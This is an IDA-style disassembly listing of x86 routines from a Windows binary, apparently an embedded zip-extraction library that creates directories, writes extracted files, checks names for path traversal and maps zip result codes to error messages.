		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		call	sub_42F43A
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_430775
		cmp	[ebp+arg_8], 0
		jz	short loc_43074C
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh


loc_43074C:				; CODE XREF: sub_430707+3Aj
		cmp	[ebp+arg_C], 0
		jz	short loc_43076E
		push	12Ch
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_431752	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0FFFFFFFFh


loc_43076E:				; CODE XREF: sub_430707+49j
		mov	eax, 500h
		jmp	short loc_4307D5
; ---------------------------------------------------------------------------


loc_430775:				; CODE XREF: sub_430707+34j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jz	short loc_43078C
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		call	sub_42FDD7
		add	esp, 4


loc_43078C:				; CODE XREF: sub_430707+75j
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx+4], 0FFFFFFFFh
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4307AF
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[edx], eax


loc_4307AF:				; CODE XREF: sub_430707+9Ej
		cmp	[ebp+arg_C], 0
		jz	short loc_4307D3
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	ecx, [ebp+var_10]
		call	sub_43007C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4307D3
		mov	eax, [ebp+var_C]
		jmp	short loc_4307D5
; ---------------------------------------------------------------------------


loc_4307D3:				; CODE XREF: sub_430707+ACj
					; sub_430707+C5j
		xor	eax, eax


loc_4307D5:				; CODE XREF: sub_430707+6Cj
					; sub_430707+CAj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_430707	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307DB	proc near		; CODE XREF: sub_4307DB+B4p
					; sub_4308E2+227p ...

var_214		= byte ptr -214h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		cmp	[ebp+arg_4], 0
		jz	short loc_4307F4
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_4307F9


loc_4307F4:				; CODE XREF: sub_4307DB+Dj
		jmp	loc_4308DE
; ---------------------------------------------------------------------------


loc_4307F9:				; CODE XREF: sub_4307DB+17j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_10C], edx
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_4], eax


loc_43080B:				; CODE XREF: sub_4307DB+62j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_43083F
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Fh
		jz	short loc_43082B
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_430834


loc_43082B:				; CODE XREF: sub_4307DB+43j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_10C], ecx


loc_430834:				; CODE XREF: sub_4307DB+4Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_43080B
; ---------------------------------------------------------------------------


loc_43083F:				; CODE XREF: sub_4307DB+38j
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_110], eax
		mov	ecx, [ebp+var_10C]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_4308A6
		mov	edx, [ebp+var_10C]
		sub	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_214]
		push	ecx
		call	sub_422680
		add	esp, 0Ch
		mov	edx, [ebp+var_10C]
		sub	edx, [ebp+arg_4]
		mov	[ebp+edx+var_214], 0
		lea	eax, [ebp+var_214]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4307DB
		add	esp, 8
		mov	edx, [ebp+var_110]
		add	edx, 1
		mov	[ebp+var_110], edx


loc_4308A6:				; CODE XREF: sub_4307DB+79j
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_108]
		push	ecx
		call	sub_431758	; strcpy
		add	esp, 8
		mov	edx, [ebp+var_110]
		push	edx
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_431770	; strcat
		add	esp, 8
		push	0
		lea	ecx, [ebp+var_108]
		push	ecx
		call	dword_433030	; CreateDirectoryA


loc_4308DE:				; CODE XREF: sub_4307DB:loc_4307F4j
		mov	esp, ebp
		pop	ebp
		retn
sub_4307DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4308E2	proc near		; CODE XREF: sub_4314C0+58p

var_4264	= dword	ptr -4264h
var_4260	= dword	ptr -4260h
var_425C	= dword	ptr -425Ch
var_4258	= byte ptr -4258h
var_4251	= byte ptr -4251h
var_4250	= byte ptr -4250h
var_424F	= byte ptr -424Fh
var_414C	= dword	ptr -414Ch
var_4148	= dword	ptr -4148h
var_4144	= dword	ptr -4144h
var_4140	= dword	ptr -4140h
var_413C	= dword	ptr -413Ch
var_4138	= dword	ptr -4138h
var_4134	= dword	ptr -4134h
var_4130	= dword	ptr -4130h
var_412C	= byte ptr -412Ch
var_4128	= byte ptr -4128h
var_4024	= dword	ptr -4024h
var_4020	= byte ptr -4020h
var_4018	= byte ptr -4018h
var_4010	= byte ptr -4010h
var_4000	= byte ptr -4000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 4264h
		call	sub_431700
		push	ebx
		push	esi
		mov	[ebp+var_4260],	ecx
		cmp	[ebp+arg_C], 3
		jz	short loc_430913
		cmp	[ebp+arg_C], 2
		jz	short loc_430913
		cmp	[ebp+arg_C], 1
		jz	short loc_430913
		mov	eax, 10000h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430913:				; CODE XREF: sub_4308E2+19j
					; sub_4308E2+1Fj ...
		cmp	[ebp+arg_C], 3
		jnz	loc_430A3E
		mov	eax, [ebp+var_4260]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+4]
		jz	loc_4309D4
		mov	edx, [ebp+var_4260]
		cmp	dword ptr [edx+4], 0FFFFFFFFh
		jz	short loc_43094C
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FDD7
		add	esp, 4


loc_43094C:				; CODE XREF: sub_4308E2+57j
		mov	edx, [ebp+var_4260]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+4]
		jl	short loc_430973
		mov	eax, 10000h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430973:				; CODE XREF: sub_4308E2+85j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+10h]
		jge	short loc_430994
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F313
		add	esp, 4


loc_430994:				; CODE XREF: sub_4308E2+9Fj
					; sub_4308E2+D3j
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		cmp	ecx, [ebp+arg_0]
		jge	short loc_4309B7
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		push	eax
		call	sub_42F381
		add	esp, 4
		jmp	short loc_430994
; ---------------------------------------------------------------------------


loc_4309B7:				; CODE XREF: sub_4308E2+C0j
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42F7E0
		add	esp, 4
		mov	eax, [ebp+var_4260]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx


loc_4309D4:				; CODE XREF: sub_4308E2+47j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42F9A2
		add	esp, 0Ch
		mov	[ebp+var_4140],	eax
		cmp	[ebp+var_4140],	0
		jle	short loc_430A06
		mov	eax, 600h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430A06:				; CODE XREF: sub_4308E2+118j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FDD7
		add	esp, 4
		mov	edx, [ebp+var_4260]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		cmp	[ebp+var_4140],	0
		jnz	short loc_430A34
		xor	eax, eax
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430A34:				; CODE XREF: sub_4308E2+149j
		mov	eax, 5000000h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430A3E:				; CODE XREF: sub_4308E2+35j
		mov	eax, [ebp+var_4260]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_430A5B
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42FDD7
		add	esp, 4


loc_430A5B:				; CODE XREF: sub_4308E2+166j
		mov	eax, [ebp+var_4260]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+4]
		jl	short loc_430A82
		mov	eax, 10000h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430A82:				; CODE XREF: sub_4308E2+194j
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+10h]
		jge	short loc_430AA3
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42F313
		add	esp, 4


loc_430AA3:				; CODE XREF: sub_4308E2+1AEj
					; sub_4308E2+1E2j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+arg_0]
		jge	short loc_430AC6
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F381
		add	esp, 4
		jmp	short loc_430AA3
; ---------------------------------------------------------------------------


loc_430AC6:				; CODE XREF: sub_4308E2+1CFj
		lea	edx, [ebp+var_412C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4260]
		call	sub_43007C
		mov	ecx, [ebp+var_4024]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_430B18
		cmp	[ebp+arg_C], 1
		jnz	short loc_430AF6
		xor	eax, eax
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430AF6:				; CODE XREF: sub_4308E2+20Bj
		lea	edx, [ebp+var_4128]
		push	edx
		mov	eax, [ebp+var_4260]
		add	eax, 138h
		push	eax
		call	sub_4307DB
		add	esp, 8
		xor	eax, eax
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430B18:				; CODE XREF: sub_4308E2+205j
		cmp	[ebp+arg_C], 1
		jnz	short loc_430B2C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4134],	ecx
		jmp	loc_430C9E
; ---------------------------------------------------------------------------


loc_430B2C:				; CODE XREF: sub_4308E2+23Aj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4148],	edx
		mov	eax, [ebp+var_4148]
		mov	[ebp+var_4144],	eax


loc_430B41:				; CODE XREF: sub_4308E2+2A6j
		mov	ecx, [ebp+var_4144]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_430B8A
		mov	eax, [ebp+var_4144]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Fh
		jz	short loc_430B6A
		mov	edx, [ebp+var_4144]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_430B79


loc_430B6A:				; CODE XREF: sub_4308E2+278j
		mov	ecx, [ebp+var_4144]
		add	ecx, 1
		mov	[ebp+var_4148],	ecx


loc_430B79:				; CODE XREF: sub_4308E2+286j
		mov	edx, [ebp+var_4144]
		add	edx, 1
		mov	[ebp+var_4144],	edx
		jmp	short loc_430B41
; ---------------------------------------------------------------------------


loc_430B8A:				; CODE XREF: sub_4308E2+26Aj
		mov	eax, [ebp+var_4148]
		cmp	eax, [ebp+arg_4]
		jz	loc_430C7A
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_4250]
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8
		mov	eax, [ebp+var_4148]
		sub	eax, [ebp+arg_4]
		mov	[ebp+eax+var_4251], 0
		movsx	ecx, [ebp+var_4250]
		cmp	ecx, 2Fh
		jz	short loc_430BED
		movsx	edx, [ebp+var_4250]
		cmp	edx, 5Ch
		jz	short loc_430BED
		movsx	eax, [ebp+var_424F]
		cmp	eax, 3Ah
		jz	short loc_430BED
		mov	[ebp+var_4264],	0
		jmp	short loc_430BF7
; ---------------------------------------------------------------------------


loc_430BED:				; CODE XREF: sub_4308E2+2E5j
					; sub_4308E2+2F1j ...
		mov	[ebp+var_4264],	1


loc_430BF7:				; CODE XREF: sub_4308E2+309j
		mov	cl, byte ptr [ebp+var_4264]
		mov	byte ptr [ebp+var_414C], cl
		mov	ebx, [ebp+var_414C]
		and	ebx, 0FFh
		push	offset a__	; "../"
		lea	edx, [ebp+var_4250]
		push	edx
		call	sub_4315D0
		add	esp, 8
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		push	offset a___0	; "..\\"
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_4315D0
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		or	esi, eax
		or	ebx, esi
		mov	byte ptr [ebp+var_414C], bl
		mov	ecx, [ebp+var_414C]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_430C7A
		lea	edx, [ebp+var_4250]
		push	edx
		mov	eax, [ebp+var_4260]
		add	eax, 138h
		push	eax
		call	sub_4307DB
		add	esp, 8


loc_430C7A:				; CODE XREF: sub_4308E2+2B1j
					; sub_4308E2+37Bj
		push	0
		mov	ecx, [ebp+var_4024]
		push	ecx
		push	2
		push	0
		push	0
		push	40000000h
		mov	edx, [ebp+arg_4]
		push	edx
		call	dword_433018	; CreateFileA
		mov	[ebp+var_4134],	eax


loc_430C9E:				; CODE XREF: sub_4308E2+245j
		cmp	[ebp+var_4134],	0FFFFFFFFh
		jnz	short loc_430CB1
		mov	eax, 200h
		jmp	loc_430DF0
; ---------------------------------------------------------------------------


loc_430CB1:				; CODE XREF: sub_4308E2+3C3j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F7E0
		add	esp, 4
		mov	byte ptr [ebp+var_4138], 0


loc_430CC9:				; CODE XREF: sub_4308E2:loc_430D45j
		push	4000h
		lea	edx, [ebp+var_4000]
		push	edx
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F9A2
		add	esp, 0Ch
		mov	[ebp-4254h], eax
		cmp	dword ptr [ebp-4254h], 0
		jge	short loc_430CFE
		mov	byte ptr [ebp+var_4138], 1
		jmp	short loc_430D47
; ---------------------------------------------------------------------------


loc_430CFE:				; CODE XREF: sub_4308E2+411j
		cmp	dword ptr [ebp-4254h], 0
		jnz	short loc_430D09
		jmp	short loc_430D47
; ---------------------------------------------------------------------------


loc_430D09:				; CODE XREF: sub_4308E2+423j
		push	0
		lea	edx, [ebp+var_4258]
		push	edx
		mov	eax, [ebp-4254h]
		push	eax
		lea	ecx, [ebp+var_4000]
		push	ecx
		mov	edx, [ebp+var_4134]
		push	edx
		call	dword_433050	; WriteFile
		mov	[ebp+var_425C],	eax
		cmp	[ebp+var_425C],	0
		jnz	short loc_430D45
		mov	byte ptr [ebp+var_4138], 1
		jmp	short loc_430D47
; ---------------------------------------------------------------------------


loc_430D45:				; CODE XREF: sub_4308E2+458j
		jmp	short loc_430CC9
; ---------------------------------------------------------------------------


loc_430D47:				; CODE XREF: sub_4308E2+41Aj
					; sub_4308E2+425j ...
		mov	byte ptr [ebp+var_413C], 0
		mov	eax, [ebp+var_4134]
		push	eax
		call	dword_4330A4	; GetFileType
		mov	[ebp+var_4130],	eax
		cmp	[ebp+var_4130],	1
		jnz	short loc_430D81
		mov	ecx, [ebp+var_4138]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_430D81
		mov	byte ptr [ebp+var_413C], 1


loc_430D81:				; CODE XREF: sub_4308E2+486j
					; sub_4308E2+496j
		mov	edx, [ebp+var_413C]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_430DB3
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_4020]
		push	ecx
		lea	edx, [ebp+var_4018]
		push	edx
		mov	eax, [ebp+var_4134]
		push	eax
		call	dword_433090	; SetFileTime


loc_430DB3:				; CODE XREF: sub_4308E2+4ADj
		cmp	[ebp+arg_C], 1
		jz	short loc_430DC6
		mov	ecx, [ebp+var_4134]
		push	ecx
		call	dword_433020	; CloseHandle


loc_430DC6:				; CODE XREF: sub_4308E2+4D5j
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		push	eax
		call	sub_42FDD7
		add	esp, 4
		mov	ecx, [ebp+var_4138]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_430DEE
		mov	eax, 400h
		jmp	short loc_430DF0
; ---------------------------------------------------------------------------


loc_430DEE:				; CODE XREF: sub_4308E2+503j
		xor	eax, eax


loc_430DF0:				; CODE XREF: sub_4308E2+2Cj
					; sub_4308E2+8Cj ...
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4308E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430DF8	proc near		; CODE XREF: sub_43152B+48p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_430E16
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	sub_42FDD7
		add	esp, 4


loc_430E16:				; CODE XREF: sub_430DF8+Ej
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	short loc_430E36
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		call	sub_42EDD8
		add	esp, 4


loc_430E36:				; CODE XREF: sub_430DF8+2Ej
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_430DF8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword ptr [ebp+8], 1
		jnz	short loc_430E59
		mov	eax, ds:dword_43BD34
		mov	[ebp+8], eax


loc_430E59:				; CODE XREF: HLXc:00430E4Fj
		mov	dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result	code"
		mov	ecx, [ebp+8]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 20000h
		ja	loc_430F2E
		cmp	dword ptr [ebp-10h], 20000h
		jz	loc_431054
		cmp	dword ptr [ebp-10h], 500h
		ja	short loc_430EE7
		cmp	dword ptr [ebp-10h], 500h
		jz	loc_43101B
		cmp	dword ptr [ebp-10h], 200h
		ja	short loc_430EC8
		cmp	dword ptr [ebp-10h], 200h
		jz	loc_430FF7
		cmp	dword ptr [ebp-10h], 0
		jz	loc_430FDF
		cmp	dword ptr [ebp-10h], 100h
		jz	loc_430FEB
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430EC8:				; CODE XREF: HLXc:00430E9Dj
		cmp	dword ptr [ebp-10h], 300h
		jz	loc_431003
		cmp	dword ptr [ebp-10h], 400h
		jz	loc_43100F
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430EE7:				; CODE XREF: HLXc:00430E87j
		cmp	dword ptr [ebp-10h], 800h
		ja	short loc_430F1C
		cmp	dword ptr [ebp-10h], 800h
		jz	loc_431039
		cmp	dword ptr [ebp-10h], 600h
		jz	loc_431027
		cmp	dword ptr [ebp-10h], 700h
		jz	loc_431030
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430F1C:				; CODE XREF: HLXc:00430EEEj
		cmp	dword ptr [ebp-10h], 10000h
		jz	loc_431042
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430F2E:				; CODE XREF: HLXc:00430E6Dj
		cmp	dword ptr [ebp-10h], 80000h
		ja	short loc_430F98
		cmp	dword ptr [ebp-10h], 80000h
		jz	loc_431078
		cmp	dword ptr [ebp-10h], 50000h
		ja	short loc_430F79
		cmp	dword ptr [ebp-10h], 50000h
		jz	loc_43106F
		cmp	dword ptr [ebp-10h], 30000h
		jz	loc_43105D
		cmp	dword ptr [ebp-10h], 40000h
		jz	loc_431066
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430F79:				; CODE XREF: HLXc:00430F4Bj
		cmp	dword ptr [ebp-10h], 60000h
		jz	loc_431093
		cmp	dword ptr [ebp-10h], 70000h
		jz	loc_43104B
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430F98:				; CODE XREF: HLXc:00430F35j
		cmp	dword ptr [ebp-10h], 4000000h
		ja	short loc_430FCD
		cmp	dword ptr [ebp-10h], 4000000h
		jz	loc_43109C
		cmp	dword ptr [ebp-10h], 1000000h
		jz	loc_431081
		cmp	dword ptr [ebp-10h], 2000000h
		jz	loc_43108A
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430FCD:				; CODE XREF: HLXc:00430F9Fj
		cmp	dword ptr [ebp-10h], 5000000h
		jz	loc_4310A5
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430FDF:				; CODE XREF: HLXc:00430EB0j
		mov	dword ptr [ebp-8], offset aSuccess ; "Success"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430FEB:				; CODE XREF: HLXc:00430EBDj
		mov	dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_430FF7:				; CODE XREF: HLXc:00430EA6j
		mov	dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_431003:				; CODE XREF: HLXc:00430ECFj
		mov	dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate	memory"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_43100F:				; CODE XREF: HLXc:00430EDCj
		mov	dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_43101B:				; CODE XREF: HLXc:00430E90j
		mov	dword ptr [ebp-8], offset aFileNotFoundIn ; "File not found in the zipfile"
		jmp	loc_4310AC
; ---------------------------------------------------------------------------


loc_431027:				; CODE XREF: HLXc:00430F04j
		mov	dword ptr [ebp-8], offset aStillMoreDataT ; "Still more	data to	unzip"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431030:				; CODE XREF: HLXc:00430F11j
		mov	dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is	corrupt	or not a zipfile"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431039:				; CODE XREF: HLXc:00430EF7j
		mov	dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431042:				; CODE XREF: HLXc:00430F23j
		mov	dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_43104B:				; CODE XREF: HLXc:00430F8Dj
		mov	dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431054:				; CODE XREF: HLXc:00430E7Aj
		mov	dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_43105D:				; CODE XREF: HLXc:00430F61j
		mov	dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough	space allocated	for "...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431066:				; CODE XREF: HLXc:00430F6Ej
		mov	dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_43106F:				; CODE XREF: HLXc:00430F54j
		mov	dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431078:				; CODE XREF: HLXc:00430F3Ej
		mov	dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431081:				; CODE XREF: HLXc:00430FB5j
		mov	dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_43108A:				; CODE XREF: HLXc:00430FC2j
		mov	dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to	seek the unseekable"
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_431093:				; CODE XREF: HLXc:00430F80j
		mov	dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_43109C:				; CODE XREF: HLXc:00430FA8j
		mov	dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but	not "...
		jmp	short loc_4310AC
; ---------------------------------------------------------------------------


loc_4310A5:				; CODE XREF: HLXc:00430FD4j
		mov	dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error	during flati"...


loc_4310AC:				; CODE XREF: HLXc:00430EC3j
					; HLXc:00430EE2j ...
		mov	edx, [ebp-8]
		push	edx
		call	sub_43175E	; strlen
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_4310C7
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_4310CC


loc_4310C7:				; CODE XREF: HLXc:004310BFj
		mov	eax, [ebp-4]
		jmp	short loc_431107
; ---------------------------------------------------------------------------


loc_4310CC:				; CODE XREF: HLXc:004310C5j
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		cmp	ecx, [ebp+10h]
		jbe	short loc_4310E6
		mov	edx, [ebp+10h]
		sub	edx, 1
		mov	[ebp-0Ch], edx


loc_4310E6:				; CODE XREF: HLXc:004310DBj
		mov	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	dword_43319C	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+0Ch]
		add	eax, [ebp-0Ch]
		mov	byte ptr [eax],	0
		mov	eax, [ebp-4]


loc_431107:				; CODE XREF: HLXc:004310CAj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43110B	proc near		; CODE XREF: sub_4249D2+26p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43110B
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	23Ch
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_1C], 0
		jz	short loc_431150
		mov	ecx, [ebp+var_1C]
		call	sub_4315F0
		mov	[ebp+var_28], eax
		jmp	short loc_431157
; ---------------------------------------------------------------------------


loc_431150:				; CODE XREF: sub_43110B+36j
		mov	[ebp+var_28], 0


loc_431157:				; CODE XREF: sub_43110B+43j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_18], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_18]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_10]
		call	sub_42FFCE
		mov	ds:dword_43BD34, eax
